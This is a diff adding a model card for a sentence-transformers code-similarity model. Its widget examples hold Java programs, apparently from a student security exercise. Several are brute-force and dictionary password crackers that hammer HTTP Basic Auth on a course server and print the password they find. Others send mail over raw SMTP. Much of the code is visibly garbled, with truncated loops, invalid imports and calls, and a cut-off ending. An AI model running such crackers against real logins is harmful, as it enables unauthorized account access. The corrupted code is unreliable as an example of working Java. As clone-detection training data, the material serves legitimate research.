diff --git "a/README.md" "b/README.md" new file mode 100644--- /dev/null +++ "b/README.md" @@ -0,0 +1,1236 @@ +--- +tags: +- sentence-transformers +- sentence-similarity +- feature-extraction +- generated_from_trainer +- dataset_size:38664 +- loss:MultipleNegativesRankingLoss +base_model: microsoft/unixcoder-base-unimodal +widget: +- source_sentence: "\n\nimport java.net.*;\nimport java.io.*;\n\npublic class sendMail\ + \ {\n\npublic void sendMail(String mailServer, String recipient, String result)\ + \ {\n try {\n Socket s = new Socket(mailServer, 25);\n BufferedReader\ + \ in = new BufferedReader\n (new InputStreamReader(s.getInputStream(),\ + \ \"8859_1\"));\n BufferedWriter out = new BufferedWriter\n (new\ + \ OutputStreamWriter(s.getOutputStream(), \"8859_1\"));\n\n send(in, out,\ + \ \"HELO client\");\n\n send(in, out, \"MAIL FROM: \"\ + );\n send(in, out, \"RCPT : \" + recipient);\n send(in, out, \"DATA\"\ + );\n send(out, \"Subject: \");\n send(out, \"From: Admin \"\ + );\n send (out, \"\\n\");\n \n send(out, result);\n send(out,\ + \ \"\\n.\\n\");\n send(in, out, \"QUIT\");\n\n }\n catch (Exception\ + \ e) {\n e.printStackTrace();\n }\n }\n\n public void send(BufferedReader\ + \ in, BufferedWriter out, String s) {\n try {\n out.write(s + \"\\n\");\n\ + \ out.flush();\n System.out.println(s);\n s = in.readLine();\n\ + \ System.out.println(s);\n }\n catch (Exception e) {\n e.printStackTrace();\n\ + \ }\n }\n\n public void send(BufferedWriter out, String s) {\n try {\n\ + \ out.write(s + \"\\n\");\n out.flush();\n System.out.println(s);\n\ + \ }\n catch (Exception e) {\n e.printStackTrace();\n }\n }\n\ + }" + sentences: + - "import java.net.*;\nimport java.io.*;\nimport java.*;\n\n public class BruteForce\ + \ {\n\n URLConnection conn = null;\n private static boolean status = false;\n\ + \n public static void main (String args[]){\n BruteForce a = new BruteForce();\n\ + \ String[] inp = {\"http://sec-crack.cs.rmit.edu./SEC/2/index.php\",\n \ + \ \t\t\t\t \"\",\n \t\t\t\t \"\"};\n int attempts = 0;\n exit:\n\ + \ for (int i=0;i= bytes.length) {\n b2 = 0;\n b3 = 0;\n pad = 2;\n\ + \ }\n else {\n b2 = bytes [i++];\n if (i >= bytes.length)\ + \ {\n b3 = 0;\n pad = 1;\n }\n else\n\ + \ b3 = bytes [i++];\n }\n byte c1 = (byte)(b1 >> 2);\n\ + \ byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n byte c3 = (byte)(((b2\ + \ & 0xf) << 2) | (b3 >> 6));\n byte c4 = (byte)(b3 & 0x3f);\n encodedString\ + \ += base64Array [c1];\n encodedString += base64Array [c2];\n switch\ + \ (pad) {\n case 0:\n encodedString += base64Array [c3];\n \ + \ encodedString += base64Array [c4];\n break;\n case 1:\n\ + \ encodedString += base64Array [c3];\n encodedString += \"=\"\ + ;\n break;\n case 2:\n encodedString += \"==\";\n \ + \ break;\n }\n }\n return encodedString;\n }\n }\n\n" + - "\nimport java.io.*;\n\npublic class PasswordFile {\n \n private String\ + \ strFilepath;\n private String strCurrWord;\n private File fWordFile;\n\ + \ private BufferedReader in;\n \n \n public PasswordFile(String filepath)\ + \ {\n strFilepath = filepath;\n try {\n fWordFile = new\ + \ File(strFilepath);\n in = new BufferedReader(new FileReader(fWordFile));\n\ + \ }\n catch(Exception e)\n {\n System.out.println(\"\ + Could not open file \" + strFilepath);\n }\n }\n \n String getPassword()\ + \ {\n return strCurrWord;\n }\n \n String getNextPassword() {\n\ + \ try {\n strCurrWord = in.readLine();\n \n \ + \ \n \n }\n catch (Exception e)\n {\n \ + \ \n return null;\n }\n \n return\ + \ strCurrWord;\n }\n \n}\n" + - "\n\nimport java.net.*;\nimport java.io.*;\n\npublic class SendEMail {\n\n public\ + \ void SendEMail(){}\n\npublic void sendMail(String recipient,String c, String\ + \ subject){\n try {\n\n Socket s = new Socket(\"yallara.cs.rmit.edu.\"\ + , 25);\n BufferedReader in = new BufferedReader\n (new InputStreamReader(s.getInputStream(),\ + \ \"8859_1\"));\n BufferedWriter out = new BufferedWriter\n (new\ + \ OutputStreamWriter(s.getOutputStream(), \"8859_1\"));\n\n send(in, out,\ + \ \"HELO theWorld\");\n \n \n send(in, out, \"MAIL FROM: \"\ + );\n send(in, out, \"RCPT : \"+recipient);\n send(in, out, \"DATA\"\ + );\n send(out, \"Subject: \"+ subject);\n send(out, \"From: WatchDog.java\"\ + );\n send (out, \"\\n\");\n \n BufferedReader reader;\n String\ + \ line;\n reader = new BufferedReader(new InputStreamReader(new FileInputStream()));\n\ + \ line = reader.readLine();\n while (line != null){\n send(out,\ + \ line);\n line = reader.readLine();\n }\n send(out, \"\\n.\\\ + n\");\n send(in, out, \"QUIT\");\n s.print();\n }\n catch (Exception\ + \ e) {\n e.printStackTrace();\n }\n }\n\n public void send(BufferedReader\ + \ in, BufferedWriter out, String s) {\n try {\n out.write(s + \"\\n\");\n\ + \ out.flush();\n System.out.println(s);\n s = in.readLine();\n\ + \ System.out.println(s);\n }\n catch (Exception e) {\n e.printStackTrace();\n\ + \ }\n }\n\n public void send(BufferedWriter out, String s) {\n try {\n\ + \ out.write(s + \"\\n\");\n out.flush();\n System.out.println(s);\n\ + \ }\n catch (Exception e) {\n e.printStackTrace();\n }\n }\n\ + }" +- source_sentence: "\n\nimport java.awt.*;\nimport java.String;\nimport java.util.*;\n\ + import java.io.*;\nimport java.net.*;\n\n\n\npublic class BruteForce\n{\n private\ + \ URL url;\n private HttpURLConnection connection ;\n private int stopTime\ + \ = 0;\n private int startTime = 0;\n private int count = 0;\n\n public\ + \ BruteForce()\n {\n System.out.println(\"Process is running...\");\n \ + \ startTime = System.currentTimeMillis();\n threeLetters();\n twoLetters();\n\ + \ }\n\n public static void main (String args[])\n {\n BruteForce bf\ + \ = new BruteForce();\n }\n \n public void threeLetters()\n {\n String\ + \ s1;\n char [] a = {'a','a','a'};\n\n for (int i0 = 0; i0 < 26; i0++)\n\ + \ {\n for (int i1 = 0; i1 < 26; i1++)\n {\n for\ + \ (int i2 = 0; i2 < 26; i2++)\n {\n s1 = String.valueOf((char)(a[0]\ + \ + i0)) + String.valueOf((char)(a[1] + i1)) +\n\t\t String.valueOf((char)(a[2]\ + \ + i2));\n decision(s1);\n count++;\n\n \ + \ s1 = String.valueOf((char)(a[0] + i0)) + String.valueOf((char)(a[1] + i1))\ + \ +\n (String.valueOf((char)(a[2] + i2))).toUpperCase();\n\ + \ decision(s1);\n count++;\n\n s1 =\ + \ String.valueOf((char)(a[0] + i0)) + (String.valueOf((char)(a[1] + i1))).toUpperCase()\ + \ +\n (String.valueOf((char)(a[2] + i2))).toUpperCase();\n\ + \ decision(s1);\n count++;\n\n s1 =\ + \ (String.valueOf((char)(a[0] + i0))).toUpperCase() +\n (String.valueOf((char)(a[1]\ + \ + i1))).toUpperCase() +\n (String.valueOf((char)(a[2] + i2))).toUpperCase();\n\ + \ decision(s1);\n count++;\n\n s1 =\ + \ (String.valueOf((char)(a[0] + i0))) + (String.valueOf((char)(a[1] + i1))).toUpperCase()\ + \ +\n String.valueOf((char)(a[2] + i2));\n decision(s1);\n\ + \ count++;\n\n s1 = (String.valueOf((char)(a[0] +\ + \ i0))).toUpperCase() + String.valueOf((char)(a[1] + i1)) +\n\t\t String.valueOf((char)(a[2]\ + \ + i2));\n decision(s1);\n count++;\n\n \ + \ s1 = (String.valueOf((char)(a[0] + i0))).toUpperCase() + String.valueOf((char)(a[1]\ + \ + i1)) +\n (String.valueOf((char)(a[2] + i2))).toUpperCase();\n\ + \ decision(s1);\n count++;\n\n s1 =\ + \ (String.valueOf((char)(a[0] + i0))).toUpperCase() +\n (String.valueOf((char)(a[1]\ + \ + i1))).toUpperCase() + String.valueOf((char)(a[2] + i2));\n decision(s1);\n\ + \ count++;\n }\n }\n }\n }\n \n public\ + \ void twoLetters()\n {\n String s1;\n char [] a = {'a','a'};\n\n\ + \ for (int i0 = 0; i0 < 26; i0++)\n {\n for (int i1 = 0; i1\ + \ < 26; i1++)\n {\n s1 = String.valueOf((char)(a[0] + i0))\ + \ + String.valueOf((char)(a[1] + i1));\n decision(s1);\n \ + \ count++;\n\n s1 = String.valueOf((char)(a[0] + i0)) + String.valueOf((char)(a[1]\ + \ + i1)).toUpperCase();\n decision(s1);\n count++;\n\n \ + \ s1 = (String.valueOf((char)(a[0] + i0))).toUpperCase() +\n \ + \ (String.valueOf((char)(a[1] + i1))).toUpperCase();\n decision(s1);\n\ + \ count++;\n\n s1 = (String.valueOf((char)(a[0] + i0))).toUpperCase()\ + \ + String.valueOf((char)(a[1] + i1));\n decision(s1);\n \ + \ count++;\n }\n }\n }\n\n \n public void decision(String\ + \ s1)\n {\n if (find(s1) == 200)\n {\n stopTime = System.currentTimeMillis();\n\ + \ runTime = stopTime - startTime;\n System.out.println(\"***************************************\"\ + );\n System.out.println(\"\\nAttack successfully\");\n System.out.println(\"\ + \\nPassword is: \" + s1);\n System.out.println(\"\\nThe contents of the\ + \ Web site: \");\n displayContent(s1);\n System.out.println(\"\ + \\nTime taken crack: \" + runTime + \" millisecond\");\n System.out.println(\"\ + \\nNumber of attempts: \" + count);\n System.out.println();\n\n \ + \ System.exit(0);\n }\n }\n \n \n public int find(String s1)\n\ + \ {\n int responseCode = 0;\n try\n {\n url = new URL(\"\ + http://sec-crack.cs.rmit.edu./SEC/2/\");\n connection = (HttpURLConnection)url.openConnection();\n\ + \n connection.setRequestProperty(\"Authorization\",\" \" + MyBase64.encode(\"\ + \" + \":\" + s1));\n\n responseCode = connection.getResponseCode();\n\n\ + \ }catch (Exception e)\n {\n System.out.println(e.getMessage());\n\ + \ }\n return responseCode;\n }\n\n \n public void displayContent(String\ + \ pw)\n {\n BufferedReader bw = null ;\n try\n {\n url\ + \ = new URL(\"http://sec-crack.cs.rmit.edu./SEC/2/\");\n connection =\ + \ (HttpURLConnection)url.openConnection();\n\n connection.setRequestProperty(\"\ + Authorization\",\" \" + MyBase64.encode(\"\" + \":\" + pw));\n InputStream\ + \ stream = (InputStream)(connection.getContent());\n if (stream != null)\n\ + \ {\n InputStreamReader reader = new InputStreamReader (stream);\n\ + \ bw = new BufferedReader (reader);\n String line;\n\n\ + \ while ((line = bw.readLine()) != null)\n {\n \ + \ System.out.println(line);\n }\n }\n }\n \ + \ catch (IOException e)\n {\n System.out.println(e.getMessage());\n\ + \ }\n }\n}\n\n\n\n\n" + sentences: + - "import java.io.*;\nimport java.net.*;\nimport java.text.*;\nimport java.util.*;\n\ + \nclass BruteForce {\n\n String password=\"\";\n\n int num =401;\n\n\n \ + \ public static void main (String[] args) {\n\n String str=\"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ\"\ + ;\n\n BruteForce URLcon;\n\n int length = 0;\n\n String passwd=\"\ + \";\n\n int t0,t1;\n\n \n if (args.length == 0) {\n \t\n\ + \ \tSystem.err.println (\n \t\t\n \t\t\"Usage : java BruteForce\ + \ \");\n \treturn;\n \t\n \t}\n String username\ + \ = args[0];\n \n\n t0=System.currentTimeMillis();\n\n System.out.println\ + \ (\" \" + new Date());\n \n System.out.println (\"Using BruteForce\ + \ method attack \"+username+\"'s password.Please waiting.......\");\n\n \ + \ for (int i=0;i= bytes.length) {\n b2 = 0;\n b3 = 0;\n pad = 2;\n\ + \ }\n else {\n b2 = bytes [i++];\n if (i >= bytes.length)\ + \ {\n b3 = 0;\n pad = 1;\n }\n else\n\ + \ b3 = bytes [i++];\n }\n byte c1 = (byte)(b1 >> 2);\n\ + \ byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n byte c3 = (byte)(((b2\ + \ & 0xf) << 2) | (b3 >> 6));\n byte c4 = (byte)(b3 & 0x3f);\n encodedString\ + \ += base64Array [c1];\n encodedString += base64Array [c2];\n switch\ + \ (pad) {\n case 0:\n encodedString += base64Array [c3];\n \ + \ encodedString += base64Array [c4];\n break;\n case 1:\n\ + \ encodedString += base64Array [c3];\n encodedString += \"=\"\ + ;\n break;\n case 2:\n encodedString += \"==\";\n \ + \ break;\n }\n }\n return encodedString;\n }\n }\n\n" + - "\n\nimport java.io.*;\nimport java.*;\nimport java.net.*;\nimport java.util.*;\n\ + \npublic class BruteForce {\n public static void main (String[] args) throws IOException\ + \ {\n BufferedReader stdin = new BufferedReader (new InputStreamReader(System.in));\n\ + \n int start = new Date().getTime();\n String[] letters = {\"a\",\"\ + A\",\"b\",\"B\",\"c\",\"C\",\"d\",\"D\",\"e\",\"E\",\"f\",\"F\",\"g\",\"G\",\n\ + \ \"h\",\"H\",\"i\",\"I\",\"j\",\"J\",\"k\",\"K\",\"\ + l\",\"L\",\"m\",\"M\",\"n\",\"N\",\n\t\t\t \"o\",\"O\",\"p\",\"P\",\"q\",\"Q\"\ + ,\"r\",\"R\",\"s\",\"S\",\"t\",\"T\",\"u\",\"U\",\n\t\t\t \"v\",\"V\",\"w\",\"\ + W\",\"x\",\"X\",\"y\",\"Y\",\"z\",\"Z\"};\n int len = 52;\n int total\ + \ = 52;\n String[] cad = new String[total];\n int t=0;\n \n \ + \ for (int i=0;i<=len-1;i++){\n\t cad[t] = letters[i];\n\t t++;\n } \n\ + \ for (int i=0;i<=len-1;i++){\n for (int j=0;j<=len-1;j++){\n\t \ + \ cad[t] = letters[j]+letters[i];\n\t t++;\n }}\n for (int i=0;i<=len-1;i++){\n\ + \ for (int j=0;j<=len-1;j++){\n for (int k=0;k<=len-1;k++){\n\t \ + \ cad[t] = letters[k]+letters[j]+letters[i];\n\t t++;\n }}}\n \ + \ \n int response = 0;\n for (t=0;t<=total-1;t++){\n String\ + \ uname = \"\";\n String userinfo = uname + \":\" + cad[t];\n try{\n\ + \ String encoding = new url.misc.BASE64Encoder().encode (userinfo.getBytes());\n\ + \ URL url = new URL(\"http://sec-crack.cs.rmit.edu./SEC/2/\");\n \ + \ HttpURLConnection uc = (HttpURLConnection)url.openConnection();\n \ + \ uc.setRequestProperty (\"Authorization\", \" \" + encoding);\n response\ + \ = uc.getResponseCode();\n\t if (response == 200) break;\n\t else uc.disconnect();\n\ + \ }\n catch(IOException e){ System.err.println(e); e.printStackTrace();\ + \ } \n catch(IllegalStateException s){ System.err.println(s); s.printStackTrace();\ + \ }\n }\n System.out.println(\"Response \"+t+\" was \"+response);\n\ + \ System.out.println(\"The successful password was \"+cad[t]);\n \ + \ finish = new Date().getTime();\n float totaltime = (float)(finish-start)/1000;\n\ + \ System.out.println(\"Total time: \"+totaltime+\" seconds\");\n }\n}\n\ + \n" +- source_sentence: "import java.net.*;\nimport java.io.*;\n\npublic class BruteForce\ + \ {\n private String strUserName;\n private String strURL;\n private int iAttempts;\n\ + \ \n public BruteForce(String strURL,String strUserName) {\n this.strURL\ + \ = strURL;\n this.strUserName = strUserName;\n this.iAttempts = 0 ;\n\n\ + \ }\n \n public String getPassword(){\n URL u;\n String result =\"\ + \";\n PassGenBrute PG = new PassGenBrute(3);\n URLConnection uc;\n \ + \ String strPassword = new String();\n String strEncode;\n try{\n\ + \ while (result.compareTo(\"HTTP/1.1 200 OK\")!=0){\n \n \ + \ strEncode = PG.getNewPassword();\n u = new URL(strURL);\n \ + \ uc = u.openConnection();\n uc.setDoInput(true);\n uc.setDoOutput(true);\n\ + \ strPassword = strEncode;\n strEncode = strUserName + \":\"\ + \ + strEncode;\n \n strEncode = new String(Base64.encode(strEncode.getBytes()));\n\ + \ uc.setRequestProperty(\"Authorization\",\" \" + strEncode);\n \ + \ \n result = uc.getHeaderField(0);\n uc = null;\n \ + \ u = null;\n iAttempts++;\n }\n\n }\n catch (Exception\ + \ me) {\n System.out.println(\"MalformedURLException: \"+me);\n }\n\ + \ return(strPassword);\n }\n \n public int getAttempts(){\n return\ + \ (iAttempts);\n };\n \n public static void main (String arg[]){\n timeStart\ + \ = 0;\n timeEnd = 0;\n \n if (arg.length == 2) {\n BruteForce\ + \ BF = new BruteForce(arg[0],arg[1]);\n System.out.println(\"Processing\ + \ ... \");\n timeStart = System.currentTimeMillis();\n \n System.out.println(\"\ + Password = \" + BF.getPassword());\n timeEnd = System.currentTimeMillis();\n\ + \ System.out.println(\"Total Time Taken = \" + (timeEnd - timeStart) + \"\ + \ (msec)\");\n System.out.println(\"Total Attempts = \" + BF.getAttempts());\n\ + \ }\n else {\n System.out.println(\"[Usage] java BruteForce \ + \ \");\n\n }\n\n }\n}\n\nclass PassGenBrute {\n private char[]\ + \ password;\n public PassGenBrute(int lenght) {\n password = new char[lenght];\n\ + \ for (int i = 0; i < lenght; i++){\n password[i] = 65;\n }\n password[0]--;\n\ + \ }\n \n public String getNewPassword()\n throws PasswordFailureException{\n\ + \ password[0]++;\n\n try {\n for (int i=0; i 122) {\n password[i] = 65;\n password[i+1]++;\n\ + \ }\n }\n }\n catch (RuntimeException re){\n throw new\ + \ PasswordFailureException ();\n }\n return new String(password);\n }\n\ + }\n\nclass PasswordFailureException extends RuntimeException {\n\n public PasswordFailureException()\ + \ {\n }\n}" + sentences: + - "import java.net.*;\nimport java.io.*;\n\n\npublic class Dictionary {\n private\ + \ String strUserName;\n private String strURL;\n private String strDictPath;\n\ + \ private int iAttempts;\n\n \n public Dictionary(String strURL,String\ + \ strUserName,String strDictPath) {\n this.strURL = strURL;\n this.strUserName\ + \ = strUserName;\n this.iAttempts = 0 ;\n this.strDictPath = strDictPath;\n\ + \ }\n \n\n public String getPassword(){\n URL u;\n String result\ + \ =\"\";\n PassGenDict PG = new PassGenDict(3,strDictPath);\n URLConnection\ + \ uc;\n String strPassword = new String();\n String strEncode;\n \ + \ try{\n while (result.compareTo(\"HTTP/1.1 200 OK\")!=0){\n \n\ + \ strEncode = PG.getNewPassword();\n u = new URL(strURL);\n\ + \ uc = u.openConnection();\n uc.setDoInput(true);\n \ + \ uc.setDoOutput(true);\n strPassword = strEncode;\n strEncode\ + \ = strUserName + \":\" + strEncode;\n \n strEncode = new String(Base64.encode(strEncode.getBytes()));\n\ + \ uc.setRequestProperty(\"Authorization\",\" \" + strEncode);\n \ + \ \n result = uc.getHeaderField(0);\n uc = null;\n \ + \ u = null;\n iAttempts++;\n }\n\n }\n catch (Exception\ + \ me) {\n System.out.println(\"MalformedURLException: \"+me);\n }\n\ + \ return(strPassword);\n }\n \n public int getAttempts(){\n return\ + \ (iAttempts);\n };\n \n public static void main(String arg[]){\n timeStart\ + \ = 0;\n timeEnd = 0;\n \n if (arg.length == 3) {\n Dictionary BF\ + \ = new Dictionary(arg[0],arg[1],arg[2]);\n\n System.out.println(\"Processing\ + \ ... \");\n timeStart = System.currentTimeMillis();\n System.out.println(\"\ + Password = \" + BF.getPassword());\n timeEnd = System.currentTimeMillis();\n\ + \ System.out.println(\"Total Time Taken = \" + (timeEnd - timeStart) + \" (msec)\"\ + );\n System.out.println(\"Total Attempts = \" + BF.getAttempts());\n }\n\ + \ else {\n System.out.println(\"[Usage] java BruteForce \ + \ \");\n\n }\n\n }\n}\n\n\nclass PassGenDict {\n\n private\ + \ char[] password;\n private String line;\n int iPassLenght;\n private BufferedReader\ + \ inputFile;\n public PassGenDict(int lenght, String strDictPath) {\n try{\n\ + \ inputFile = new BufferedReader(new FileReader(strDictPath));\n }\n \ + \ catch (Exception e){\n }\n iPassLenght = lenght;\n }\n \n public\ + \ String getNewPassword()\n throws PasswordFailureException{\n try {\n \ + \ {\n line = inputFile.readLine();\n }while (line.length() !=\ + \ iPassLenght);\n\n }\n catch (Exception e){\n throw new PasswordFailureException\ + \ ();\n }\n return (line);\n }\n}\n\nclass PasswordFailureException extends\ + \ RuntimeException {\n\n public PasswordFailureException() {\n }\n}" + - "\n\n\n\n\nimport java.io.IOException;\nimport java.net.*;\n\nimport java.io.*;\n\ + import java.util.*;\n\n\n\npublic class Dictionary\n\n{\n\n\n static URL url\ + \ = null;\n static URLConnection urlConnection;\n static InputStream urlStream;\n\ + \n static String strOneLetterWords[];\n static String strTwoLetterWords[];\n\ + \ static String strThreeLetterWords[];\n\n static String strExceptionPassword[];\n\ + \n static String strLastPasswordTested;\n static String username = \"\";\n\ + \n static int intNumberOfOneLetterWords = 0;\n static int intNumberOfTwoLetterWords\ + \ = 0;\n static int intNumberOfThreeLetterWords = 0;\n\n static int intExceptionCount\ + \ = -1;\n\n static int intNumberOfConnectionAttempts = 0;\n static int intTotalNumberOfWordsInFile\ + \ = 0;\n\n\n\n\n public static void main (String args[])\n \n {\n\n\n \ + \ \n \n Calendar calStart;\n Calendar calFinish; \n\ + \ Date dateStart;\n Date dateFinish;\n lngStart;\n lngFinish;\n\ + \n\n\n String strLine;\n String strTextFileName = \"/usr/share/lib/dict/words\"\ + ;\n\n boolean boolPasswordFound = false;\n boolean boolExceptionPasswordsTestedAgain\ + \ = false;\n\n\n\n\n String urlString\n = \"http://sec-crack.cs.rmit.edu./SEC/2/index.php\"\ + ;\n\n int intCounter1;\n int intCounter2;\n int intCounter3;\n\n\ + \ int intTotalNumberOfWordsChecked = 0;\n\n\n\n \n \n \ + \ calStart = new GregorianCalendar();\n dateStart = calStart.getTime();\n\ + \ lngStart = dateStart.getTime(); \n\n\n\n \n \n\ + \ \n \n \n strExceptionPassword = new String[5000];\n\ + \n\n \n \n getNumberOfVariousLengthsOfWords(strTextFileName);\n\ + \n\n \n \n strOneLetterWords = new String[intNumberOfOneLetterWords];\n\ + \ strTwoLetterWords = new String[intNumberOfTwoLetterWords];\n strThreeLetterWords\ + \ = new String[intNumberOfThreeLetterWords];\n\n\n \n \n \ + \ populateTheDifferentLengthArrays(strTextFileName);\n\n\n\n\n if (!boolPasswordFound)\ + \ \n {\n\n\n \n \n\n intCounter1 = 0;\n\n \ + \ while ( (!boolPasswordFound) && (intCounter1 < intNumberOfOneLetterWords)\ + \ )\n {\n\n boolPasswordFound = true;\n\n boolPasswordFound\ + \ = passwordWasFound(urlString,\n \ + \ strOneLetterWords[intCounter1],\n \ + \ boolPasswordFound);\n\n intCounter1++;\n\n intTotalNumberOfWordsChecked++;\n\ + \n }\n\n\n\n \n \n\n intCounter1 = 0;\n\n\ + \ while ( (!boolPasswordFound) && (intCounter1 < intNumberOfTwoLetterWords)\ + \ )\n {\n\n boolPasswordFound = true;\n\n boolPasswordFound\ + \ = passwordWasFound(urlString,\n \ + \ strTwoLetterWords[intCounter1],\n \ + \ boolPasswordFound);\n\n intCounter1++;\n\n intTotalNumberOfWordsChecked++;\n\ + \n }\n\n\n\n \n \n\n intCounter1 = 0;\n\n\ + \ while ( (!boolPasswordFound) && (intCounter1 < intNumberOfThreeLetterWords)\ + \ )\n {\n\n boolPasswordFound = true;\n\n boolPasswordFound\ + \ = passwordWasFound(urlString,\n \ + \ strThreeLetterWords[intCounter1],\n \ + \ boolPasswordFound);\n\n intCounter1++;\n\n \ + \ intTotalNumberOfWordsChecked++;\n\n }\n\n\n\n \n \ + \ \n \n\n intCounter1 = 0;\n\n while ( (!boolPasswordFound)\ + \ && (intCounter1 < intNumberOfOneLetterWords) )\n {\n\n intCounter2\ + \ = 0; \n\n while ( (!boolPasswordFound) && (intCounter2 < intNumberOfOneLetterWords)\ + \ )\n {\n\n boolPasswordFound = true;\n\n \ + \ boolPasswordFound \n = passwordWasFound(urlString,\n \ + \ strOneLetterWords[intCounter1] + \n \ + \ strOneLetterWords[intCounter2],\n \ + \ boolPasswordFound); \n\n intCounter2++;\n\ + \n intTotalNumberOfWordsChecked++;\n\n }\n\n\n \ + \ intCounter1++;\n\n }\n\n\n\n \n \n \ + \ \n \n \n\n intCounter1 = 0;\n\n while\ + \ ( (!boolPasswordFound) && (intCounter1 < intNumberOfOneLetterWords) )\n \ + \ {\n\n intCounter2 = 0; \n\n while ( (!boolPasswordFound)\ + \ && (intCounter2 < intNumberOfOneLetterWords) )\n {\n\n \ + \ intCounter3 = 0; \n\n while ( (!boolPasswordFound) && (intCounter3\ + \ < intNumberOfOneLetterWords) )\n {\n\n boolPasswordFound\ + \ = true;\n\n boolPasswordFound \n = passwordWasFound(urlString,\n\ + \ strOneLetterWords[intCounter1] \ + \ + \n strOneLetterWords[intCounter2]\ + \ +\n strOneLetterWords[intCounter3],\n\ + \ boolPasswordFound); \n\n \ + \ intCounter3++;\n\n intTotalNumberOfWordsChecked++;\n\ + \n }\n\n\n intCounter2++;\n\n }\n\n\n \ + \ intCounter1++;\n\n }\n\n\n\n \n \n \ + \ \n\n intCounter1 = 0;\n\n while ( (!boolPasswordFound)\ + \ && (intCounter1 < intNumberOfOneLetterWords) )\n {\n\n intCounter2\ + \ = 0; \n\n while ( (!boolPasswordFound) && (intCounter2 < intNumberOfTwoLetterWords)\ + \ )\n {\n\n boolPasswordFound = true;\n\n \ + \ boolPasswordFound \n = passwordWasFound(urlString,\n \ + \ strOneLetterWords[intCounter1] + \n \ + \ strTwoLetterWords[intCounter2],\n \ + \ boolPasswordFound); \n\n intCounter2++;\n\ + \n intTotalNumberOfWordsChecked++;\n\n }\n\n\n \ + \ intCounter1++;\n\n }\n\n\n\n \n \n \ + \ \n\n intCounter1 = 0;\n\n while ( (!boolPasswordFound)\ + \ && (intCounter1 < intNumberOfTwoLetterWords) )\n {\n\n intCounter2\ + \ = 0; \n\n while ( (!boolPasswordFound) && (intCounter2 < intNumberOfOneLetterWords)\ + \ )\n {\n\n boolPasswordFound = true;\n\n \ + \ boolPasswordFound \n = passwordWasFound(urlString,\n \ + \ strTwoLetterWords[intCounter1] + \n \ + \ strOneLetterWords[intCounter2],\n \ + \ boolPasswordFound); \n\n intCounter2++;\n\ + \n intTotalNumberOfWordsChecked++;\n\n }\n\n\n \ + \ intCounter1++;\n\n }\n\n\n\n \n \n \ + \ \n \n \n\n intCounter1 = 0;\n\n while\ + \ ( (!boolPasswordFound) && (intCounter1 <= intExceptionCount) )\n {\n\ + \n boolExceptionPasswordsTestedAgain = true;\n boolPasswordFound\ + \ = true;\n\n boolPasswordFound \n = passwordWasFound(urlString,\n\ + \ strExceptionPassword[intCounter1],\n \ + \ boolPasswordFound); \n\n intCounter1++;\n\ + \n intTotalNumberOfWordsChecked++;\n\n }\n\n } \n\n\n\ + \n \n \n calFinish = new GregorianCalendar();\n dateFinish\ + \ = calFinish.getTime();\n lngFinish = dateFinish.getTime(); \n\n\n\ + \ \n \n System.out.println();\n System.out.println();\n\ + \n\n System.out.println();\n System.out.println(\"Length of time for\ + \ processing: \" + \n ((lngFinish - lngStart) / 1000)\ + \ + \n \" seconds\");\n\n\n System.out.println();\n\ + \ System.out.println(\"Total number of words in dictionary file = \" + intTotalNumberOfWordsInFile);\n\ + \n\n System.out.println();\n System.out.println(\"Input file: number\ + \ of words with one letter length = \" + intNumberOfOneLetterWords);\n \ + \ System.out.println(\"Input file: number of words with two letter length =\ + \ \" + intNumberOfTwoLetterWords);\n System.out.println(\"Input file: number\ + \ of words with three letter length = \" + intNumberOfThreeLetterWords);\n\n\n\ + \ System.out.println();\n System.out.println(\"Number of connection\ + \ attempts = \" + intTotalNumberOfWordsChecked);\n\n\n System.out.println();\n\ + \ System.out.println(\"Number of exceptions thrown = \" + (intExceptionCount\ + \ + 1));\n System.out.println();\n\n\n if (intExceptionCount >= 0)\n\ + \ {\n System.out.print(\"These passwords WERE \");\n\n if\ + \ (boolExceptionPasswordsTestedAgain)\n System.out.print(\"tested again.\"\ + );\n else\n System.out.print(\"NOT tested again.\");\n\n \ + \ System.out.println();\n }\n\n\n if (boolPasswordFound) \n \ + \ {\n System.out.println(\"The correct password WAS found - this password\ + \ is '\" + \n strLastPasswordTested + \"'.\");\n \ + \ } \n else\n {\n System.out.println(\"The correct password\ + \ WAS NOT found.\");\n } \n \n System.out.println();\n\n\ + \ }\n\n\n\n\n\n\n\n static void getNumberOfVariousLengthsOfWords(String TextFileName)\n\ + \ \n {\n\n FileReader reader;\n BufferedReader inTextFile = null;\n\ + \n String strLine;\n int intWordLength;\n\n\n\n try\n { \ + \ \n \n \n \n \n \n reader\ + \ = new FileReader(TextFileName);\n\n \n \n \n\ + \ \n inTextFile = new BufferedReader(reader);\n\n\n \ + \ strLine = inTextFile.readLine();\n\n\n while (strLine != null)\n \ + \ {\n\n intTotalNumberOfWordsInFile++;\n\n strLine\ + \ = strLine.trim();\n\n intWordLength = strLine.length();\n\n\n \ + \ \n \n if (intWordLength == 1)\n \ + \ intNumberOfOneLetterWords++;\n\n \n \n \ + \ else if (intWordLength == 2) \n intNumberOfTwoLetterWords++;\n\ + \n \n \n else if (intWordLength == 3)\n\ + \ intNumberOfThreeLetterWords++;\n\n\n strLine = inTextFile.readLine();\n\ + \n }\n\n }\n\n catch(FileNotFoundException e)\n {\n\n \ + \ \n \n System.out.println();\n System.out.println(\"\ + The file '\" + TextFileName + \"' cannot found.\");\n System.out.println();\n\ + \n }\n\n catch(Exception e)\n {\n\n }\n\n finally\n \ + \ {\n\n try\n {\n inTextFile.print();\n \ + \ }\n catch(Exception e)\n {\n }\n\n inTextFile\ + \ = null;\n reader = null;\n\n }\n\n } \n\n\n\n\n\n\n static\ + \ void populateTheDifferentLengthArrays(String TextFileName)\n \n {\n\n \ + \ FileReader reader;\n BufferedReader inTextFile = null;\n\n String\ + \ strLine;\n int intWordLength;\n\n int intCountOfOneLetterWords =\ + \ -1;\n int intCountOfTwoLetterWords = -1;\n int intCountOfThreeLetterWords\ + \ = -1;\n\n\n\n try\n { \n \n \n \n \ + \ \n \n reader = new FileReader(TextFileName);\n\n \ + \ \n \n \n \n inTextFile = new\ + \ BufferedReader(reader);\n\n\n strLine = inTextFile.readLine();\n\n\n\ + \ while (strLine != null)\n {\n\n strLine = strLine.trim();\n\ + \ intWordLength = strLine.length();\n\n\n \n \ + \ \n if (intWordLength == 1)\n {\n intCountOfOneLetterWords++;\n\ + \ strOneLetterWords[intCountOfOneLetterWords] = strLine;\n \ + \ 